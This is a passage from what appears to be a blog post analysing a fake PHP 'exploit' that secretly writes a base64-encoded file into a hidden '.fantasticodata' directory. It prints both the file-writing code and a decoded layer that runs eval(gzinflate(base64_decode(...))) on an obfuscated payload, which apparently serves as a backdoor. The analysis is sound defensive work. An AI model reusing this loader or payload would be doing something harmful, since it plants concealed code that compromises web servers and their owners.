XA1cUdGR0szejRWclYveStNaC9nakcrZm55RTlPNFBCYXBsOVpvMjNnajd4NXI2eEhFRnhDeC9QL2ZGZDJLVjR2ZjlsYWJkK0RjNXJxeE1Vc3BLa2xKV1lvWi9UOUhEeWt2cllXV1NIbGFTOUxEeTk5RERpSGNWTzVmK2M4NlY3L0V0eFVmQ3BXa2o0ZWM3MStva1BhNG02WEgxVnpqWDZrc3JkWFdTVWxlVGxMcjY5MURxUnlodDVabEt1OFNIYi9HeG9UWnRiUGg4cFoydzBLQWxyRFJvb2FVRzBGZ0tIWitqc0gvWmRRZitxT25UWGRzMG8wUStyYVBGeDR4YU1HWlUzK0hOM0FNRFR3cmhIc1NCM2VjYkV4ZUsvNHRhSSt0U3FUanQvQjZxZDFoaHhBTEVmUFRPeGNCN3dHR0ZlZUVsQ0hyNGVBcE5ZY0xGdTRCUkYyUjk0WGVjeHdteEhCVmlrZDViNG5LWm51ZlNORHdMN1U3Z0dHOWxWeWNvL3Q5RTZjV3NWbnpNcVMzK01xV1BScWUvU09lZkU1NytQVlc5L0Y5UzlUZnhxeTh0YzRBdm1lQWpEL3duZjl4aDJPL1l1dUg2Ti9lcTc1cTIwMlhIQUZpbXdoNUZXY1dtVmJhUE55OXVUcmRYdThQT3dBSmpHTXdoK0N5K2V4SGV4djZvWTFiODl2RDRuUVhsYVhjV3hNOFZNZlhONE5NaitMVTQvYTMydU55UWZuYXAxOVR3OUJKOHhKMWZFamRpc3hOTUwzMmVzVFJsRFBDWDFaSE1FWlFZSzBtblM0V3l4Sy81bEN1UDlKUFZxTEcvaEZwQnc1ZW5WS3RINFMzOUlyemxYNFMzOG92d1ZuOFIzdmxmaEhmaEYrRmRET09kMExmOUluVmYra1hWdzZkZ2ZnM2lYMldnMnEreVVPMVhtYWoycTJ4VVN6RFNUQ2IvUzN1OEtRS2xoSHN6Sm5lS1diOVgxRHNkZTFUREUxbk50QTE1UEZPNjNpSnl1OFVYbFlDK3FHdjBHYjdqSW5qMUFDU00ybGFqbmMyTUdGc3AxMlo4VVJFRzhPSkhHQzNIUXE5U1QwSkRRTWdmZmlZZzZveDdENVB3SUF5Z3dZOGtMRERnY2llaVFTREVnNThKaVBDczNDUThDQU5vOENNQnkrNzJ4U1FrQUFJNDROOEFDblk3eWJNdUpSR2I2OHJ4T3l2TDArNnNqRmxFOVc1dW9Hdmt2cWphRjVVRmRLQTUxZ0JiM0xzWlJIbjhOUTRUcmlTSjdvV1RvMlRIN1BLaDVzSmlQdE1lRFBCeDg2bm1jVlBmdE9uWURZNWVLejdqRGFwcG91MG5IZVRoUzFEbCtJMlY1V2szVnFaUGd4cVBlbFBKc0VjOURQTi96YnRLRlNaUjRMR05UenZHMW1LcHhKOTRqTm1COUIzblpSelRkZmxqbllnSHpCV1pjSFREc3JFaUFnSnI4OTNDdXlNeUNuN3lNVkVjVnJQWEFMLzdTSnd0Z2JTVmlyVStMYTkxZ2JjdThENnkyWmZpaDZ5eFJQQUZPN0FLSkpQQk11MUhYNElScWFFcXZhdXQrczhCUFY3OWwvZ0drbkxDaTJKODQyYUJ4bmRRK1NaOWpadlRLUWZqWGh5MDlnWktVMitZcTFlbVkrZzluZm0rMmRJYXlERnlSUUlPNXpPOVRMS0FLK3oxSm5hT3Z4NCt5NCt6YitrdHRKanFyZndueWZrNXJsTE1NejhobU1CVFA1RThQTkZWV3NDZGx3VnR1YVFsWDdtRVJlazUzTWZjYWNIckdkU3V3R082ZEpjQ2Uwd1hkU3l0SFJKbFRVOXNLVm5sbmE2MEhiTzVpcThMbjIrZlhXMmZmYzZjN3AzQzk4TWRCUG1EbnYxTnhzTWZFZFBYbEp4b3I5aUtTRE03L0wxZ1ZBZnhkRENiNGNrblhoZWlGYVVMSHg0bklId3hPbDlNUkloSHVuT1AxcXpvZ2Ntd1pyRm42UFB4S3NYZnFBOHBrMGlWRGtvL25pT3FRTnBlUzNJaXVqT080MG5LbFprS0pQT0Z1QXhiV0NuUUE5d1JCaG5OSjk4eHhVWVo2SFBNLzZMZldWejQrL3VkWDZES0NXeE8xR1VkT3I5eDF4NjZVL0kxVVlqaVFHOGlheDVBbURzcEF4aXNXNTNPK0gzWGFqaTJhemNIQmVpNXAyTjFNVFVBUklJc0trNWdNN0s0SXlYaWFpYjhuQVhUbzl0NTB2c1Vta3cyMlAyUmovY2NqNHpwUy9IOVVscUVGRjN5RFY1bmh6emowRnM4NmJpMmMzRmEyOWcvWGorNzhRWjhjdGI2K2ViK3ZwL3ppQ0hUTS8xVDVTL3BvTFJpOFI4UDlZK0gra3ZZK0YvTDl3MzcwM2krdjcxL2lwK2xaZTVKcGNsYTRTTm9tTWN1UEkwZFZPSjlDRThhVFdwRjhUNTEvTGtUbnZ3WEdFNXF4Zkl6dmFaV1ROL0ZDT09PY3N3V0RqdTRjOE5tcXQzV0czZW04eDRGTCt3NTRWVml1cXJpMFNxVXluL3FVWSttWTNkamEwQVpBU05sQ1MvaW1ZcXAzaDBzNEZzc1Q1UWg4OFFUVUxKbXAyTXJ4Tm0wdkVUZFpDWjBjU1ArWXBjMmxrcnN6c2JTV3FZUTNiYnpFTDc1NVdFZ0x1YXhPZ3BoYVpzTytqU2MveEUwMWpMUERGaXFmOUdBNWJsVE9mODkwNXM0SS91UC9ZWHNEd1dtSUl1S3VJWDAxd1FyNWVrSEpDOHhaZnQveXpMTFMzOWZ5NnpiK0J6dVA3YjUxKzBidGVuNnhtYkh0bzNIZDQ3QTdnNldVR05rWlBWUVJNeUJJMHdtSDcybFRjcVYrUWtrTDhOZ08zQmYzRGxZVy9hdW5nc1JMWVNJb2xFbTBxVE1DRW1lQ2hTZlBhK2E1bXpTQmdiZXphai8vcmQzWHlKODdiZllwKzNvL0FKRmY3OUZKakJpTXVwcmJMdUhkTWVxdE1DZkVhT2xvL0g1eDBOdnBDU0t1S2xGem1PS0VHZng4S2UyTzJnNVprd2hVWTI0VWllTzN1aVljb2tBbFBkZXpmUTdjUmZGUUNuK2NBNVAvaXNNbE1vVG83WHloRW1CbUxNZS9BMlVLVGQ3RzNXeFVKWjdOSFZOaSsvbXhWSkluVTlPWmZLTDBaVVFMek93RUNLbGdwdUNFRVR2dEVHOXFIL0tLTURMTXBLQlFDRkloODJleFZLSlRKcjVhZkdYd1U2b2REbDFIb1labzFHUFk4YkxDemdrUDFHK1FmaWZOY24vNHBya0pBMUlEUlpZZzNhU0ZhQVQwLzZoYTV2L1RxdVI1Zjh6cTVFVFo2MmU3SXovY2FtVERTcWpMQ2NlbDBoZkFIZ0ppMHVVQklQdUp5UHZ4eUNQdVFoNUNtbWtqbzllcW9OaEZTNGtWWGhRVDVFblprWkpzRlNnZ1oxRXRNcFR4aU9jN1dHWEhrZEtPL2szOFVDVFlUWFI5dUVqN2tBVEpQT05nOXBDaklma21VSC82Q1hpTGM3QVlpSGFhei9CTFM3OTR4Yi9jWXYvdU1XL1N0dzlTYTNqcjYyZmJzajE1OUNFS0NzSHJpSm8rRWxHNnM4RDBleFBtYjltVlJGekFnd2hzQktqbm94V1NEOUZJc2pnZk8va2s3SzFmckcrc1g2K2ZiN3lwVWNKOFBPUS9kbyszTjY4VUg1WGRzNU9qaFQwOFg2aWQ0TGNUMEtBTEQxalZaQWZzR0x2VGswZExRb0hwSHBPN25IVExLa3YyMDB4bzhBdmN5akhYK2JBa3g4eG8xQ3EvdUtkdkpOOGRTWDlHTDJXZWpjc2Y0VUIrMUN0VWwwSVRCVk1RcHpxdit2NDlCeTZCWWJkbVE1M0tXVjNRZlJJQ0NqbUYzVXRmUDdsMUtSRE5QZ1IzbkRnd1d3Q3dPWlROeDFVaWxQSEErVW54UU8vV3NYd2tZWG42VmpxMHhvV2YzWWsyeklIWmcvTTYyejc2T1JpdTdhK3RYV0dCdzMrVUpKeWxoVnA3MVBJbDA5aUtmVnlNKy94a2VuVi92K3FhajV0dTk2dlZzM1NjMVd6bEtxYUZDUFdudUVFUzZscTVwaGRlMkRXTUFobCtDMm5VVEQwVHM4Y0ZKemhWSFJTNTRRNEhiOGU4L1B6MDFWanFpTjRxVXFORnluMHJiNVo2S2ZydGdmWCtBOHErZE1Xa2w5S3lVOGQrMkg4NjdweXhDN3BRRmtybC85YlNoRDBiUC9WWmsyTUphZmVyVmZodDBTWDQ2OUM0c2s4Wkh6VWJRZHhpZ1NqQU50WmRVemplVjA2emFHa09rNHQvaEloLzFTbG0zSzFVZWJNYkF4aGhIQnZLbDF3UHM1WU1SL2ErdERGQnM4RXJncDZGS1dVdTdjeVI0Uy8xckVnUWFLaVdEM2xzOUxYRzNmWm5QSlZFYnN5bjBBODVUYWt6SWE5d3dnTmV6RDZzYUFKdnB2UHBWZEpvWGRJdGJTZ2lWdlF5TkE1TllZZGZXQXEyZmxxdFZ6TklTKzNacy9ZN3JXc252a0UydFVVMnVjZk94YVErcXdZSGFyaS9SQTZLa2V2VzVBOGZnS3QrUlJhcDV0bjI5aDhqdG1xZGZWQm8wMFVwZFoxVE5jZU9nM1RWYktuZTZmS083ekdUTXM5Z1l1RnA2cVdPM0JxanRrMzlVR2d3VGsvbFVLbFVNMC9tYXZGRks3V1FhbmJKc2pHaHVxN3lwM1Y2ZEJPbldscExLWFFPSUh4UFYyTlpQVmdJTzJ5TFdkN1c0Vjk1ZDdTb2ZJRHM5c0hSMDgxcHdwamZVdDVwVnJRQ3FXblZKamVpSmhvWlRpSE5ITDBmcExFUy9rNEJxYThZK2F2N25YVDNLNG5LZWltOVRGdTV1dE1KNnZIc1pEbWp6MFdJQTF0Uk53NytBdllTUFBNNnlnQVpkTUIrL1JNTnV5azV5dEtIU3c3eE5XVGpWWkw4OXkrV0VBbUZqaU9EdWhYbkZDUS9NT1R5S2M1YjQ5OGU5RHRnTEphQTh0MDQ4bHJoZms4dGt6bFNVeWtlZlY5M20raGQybDI3QkhqNkx2VnJ3Rkg0R2p4SnVwRVovb2tidEs4dTk4aWYyTEhWaHNhelpwaDRyVUp0YnFGYStHL3dLOXJhWTZkZFRmS2VnZUhuVVRUWTdIcnRrQTZEUk1DcWwvQlZXcFgwR3dxRzJQbHBHZnlrS3JkcjRFT216cmRkd0plcjlaQUk0dmpxL3AwV3lxbDlRZG5adE4wekY3RFZEYnRJVG5lb0VZbEJXT1N0TUxLSGJxSUtUSWVJS0NNU01qNDhYM1o5K2YwYitJOGZ1cVkwSjZkbmYyc1hBeWRPOHZkbXowYmRzeGI1ZDlpa2gwdmllWmZDeW9raXowNy9KS1owV2hVNk9yM2xsYXduZGJhRVg2akRUa1J3RmE3VVhDR2E3dDdtL0g1aUVnSDE5Qm82emovc0xiZE1lOGc3akVzbEIwdnNtdGl6RWZDSEZoZGN4bDRjNkFOREp5aW8rMjRtSnJOemJvRDNSbmc5enp1N1ZTK1F2MXNxY2Z6NU92Sk95SnBmQXdTMHRGZjRaYkFQOVpldi9yL0FRPT0nKSkpOwo/Pg==&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum48&quot;&gt;  48:&lt;/span&gt; $open = fopen(&lt;span style=&quot;color: #006080&quot;&gt;&quot;../.fantasticodata/kanoodle_settings.php&quot;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&quot;w&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum49&quot;&gt;  49:&lt;/span&gt; $handle = fwrite($open,base64_decode($trsm));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum50&quot;&gt;  50:&lt;/span&gt; @fclose($open);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum51&quot;&gt;  51:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($open){&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum52&quot;&gt;  52:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&quot;[+] Opening an Exploit File ... Done\n\n&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum53&quot;&gt;  53:&lt;/span&gt; }&lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;{&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum54&quot;&gt;  54:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&quot;[+] Can Not Open File Because You Don&#39;t Have a Permission or You Didn&#39;t Put Me in Main WebSite\n\n&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum55&quot;&gt;  55:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum56&quot;&gt;  56:&lt;/span&gt; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum57&quot;&gt;  57:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($handle){&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum58&quot;&gt;  58:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&quot;[+] Building Exploit File ... Done \n\n&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum59&quot;&gt;  59:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&quot;[+] Exploit Has Successfully Built \n\n&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum60&quot;&gt;  60:&lt;/span&gt; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum61&quot;&gt;  61:&lt;/span&gt; ?&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum62&quot;&gt;  62:&lt;/span&gt; &amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum63&quot;&gt;  63:&lt;/span&gt;         &amp;lt;/tr&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum64&quot;&gt;  64:&lt;/span&gt;     &amp;lt;/table&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum65&quot;&gt;  65:&lt;/span&gt; &amp;lt;/div&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum66&quot;&gt;  66:&lt;/span&gt; &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;The “exploit” starts by deleting the file “fantasticodata/kanoodle_settings.php” and then it creates a hidden directory with the name fantasticodata by placing a dot ‘.’ in front creating “.fantasticodata&#39;” .&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;As someone can see at line 47 there is an interesting piece of code stored on trsm variable. The code is base64 encoded and it can be easily decoded using an online decoder tool. My choice these days is &lt;a title=&quot;http://base64decode.org/&quot; href=&quot;http://base64decode.org/&quot;&gt;http://base64decode.org/&lt;/a&gt; . &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Placing the code in base64decode.org we can see the decoded version of it:&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; &amp;lt;?php&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt;  &lt;span style=&quot;color: #008000&quot;&gt;# ZaIdOoHxHaCkEr - r00t@dns.jo&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt;  &lt;span style=&quot;color: #008000&quot;&gt;# Mavi1 ~ TurkisH-RuleZ TEAM&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt;  &lt;span style=&quot;color: #0000ff&quot;&gt;eval&lt;/span&gt;(gzinflate(base64_decode(&lt;span style=&quot;color: #006080&quot;&gt;&#39;7f15e9rI0jAO/5/ryndQdPseYIIxYvEae+J9ibd4i+0kD0cgAYoBMRIYk5z8PvtbVd0ttVaM7Zwzc7/jcyZAd3VVdXVVdfX++pUy09F7raHeMlczZq+VWVFm9OGgrawqRfja07uQjol93XXp23urZ9Uc0x3YjplVXb1p1rq2Yaq5cJbdN3u1uu6ahuVEc72CNavX6AzhcwKY+WA24mEMy9XrHbPWHPYaA8vuuVEQvdOxR7Wh06k1kS0PwDUH2YzpOLZT69itTP748vAwkAepNcp3M/ki5DBYx+zbzsDqtbLbtXUqYTWz2TfvBQfArOUO3GwG8bTMQSaXU/79byX7nv/OZmThZHJvVolwCCZWRB5w7seMjGRVW/mpmB3XDCUXV36uKIbZtHoozYHuDAZW11Tz74FE12o4Nv7M5qAKUN9aV29ZjdqfQ3tgujVn2KNMrPd7zMVftY7VtQYszZNSV3+g9hlS5RGMScuHsIeD/nBQqw+bTdMBwbH8Ga+KoG8xFc8gzL3puIAWIDLFgpYhWb/nibWG3e3r0MLv++0+T8vm8kqmUtAKxUxOWV1VZrWc8kOZqZ2enF8Akt9m9i4uTulX7Wr97Bwo1Ha3pRz44WWcb59dbZ/5eey3l715cvJhf9vPZr959k9gFJqzFRZrq98AeQNLTVBNvdFWspw33VVm7lbXZu59fj/P3H0F9O7AsfpuR3fbppuFfEQuleZshMqz1BQMyGCWW/uqQlJCjt9YLjaZqPznzOneaW398mKvdgkpma+kpl2jmgLxZnWVXEcK5OknDoeOBUm3Td0wnWzm06dPs+vAkwnK19AH5rKyobtWA1VBgKCs56B9lUpRUy57WAPbsb6bBgKB6Q2y6rv62nqjYbqusmX2LNN4N1dfU3mtZxAPqtPrV+/ag25nDT8hCT8H1qBjrv2PcjF07ix3b/Zs2DFvlfO2eXj4bo5lAlTXHOhKezDoz5p/Dq37VXXT7g2A4dmLcd9UlQb7taoOzIfBHJJYURpt3QGxro6snmGP3FmtVNVUwAXYzi9uDrfh68BRfrx+tXFytrV9Nnu2v7t3sawo/6PTn6L1HxTX7ljGigdycXIKAABi0l8cyOH2DiJJA9k4ubg4OVqOJdSwO7YDWUX6g4SfwKXxd+CyMMAuQfNZXVaK/QfEt775Yffs5PJ4a3bz5PAE0v9nq7JV3FxMRGTEYGlCCy8rC/2BcmU6ht7TE0s7MaVjxYr8yqABaYD7BOV5AvtWD9xuXIM16S+1wZboL7XBkkG8BosjFK2EWTGLxqIn2cWJknXNjtn4v1YzXrVhHbrYgC7Uh4OB3WtbrXYH/hsopQk64REdWcagvayUi/+bpHfgoqAD1f9+ktyxHkzDHbtK3e4kuYGNk60brFlXd1pWbxkpxEHW9cZdy7GHPWNW5HnEAMv6csfq3Sk/GCOOaawoF9vXF7Nb25snZ+sX+yfHy0rP7pkEem+51sAEJ6k8ClyHgPHefCTutg0xjvKD8VjvDM2VJNh3c6JXeec2oOsfKF6Y/yXzTb/XWeqXDECIqFVpWxRj3mctI/f6FYhNUQy7MexCX1aAMGa7Y+LXjfG+gRAFdzDumAWIvvsdfQz96ZcMEv+SWQkUbNj2nWWuWsbbLxmIRin7p0TUbUNk/hyi9Y7duEulqkWpQnfca1Fl3YFEGeOfKaj7dc5haSVQGWIII3KWJQuXMUOd/xxriDWIaxsQnrnKd6vftLArUO51R5kx9AFE8g2oqe44+jgLMQylNwYwmIEAP5Jh2s2alKl+eagWvzxU6l8eilX4bx7+K8r/qbw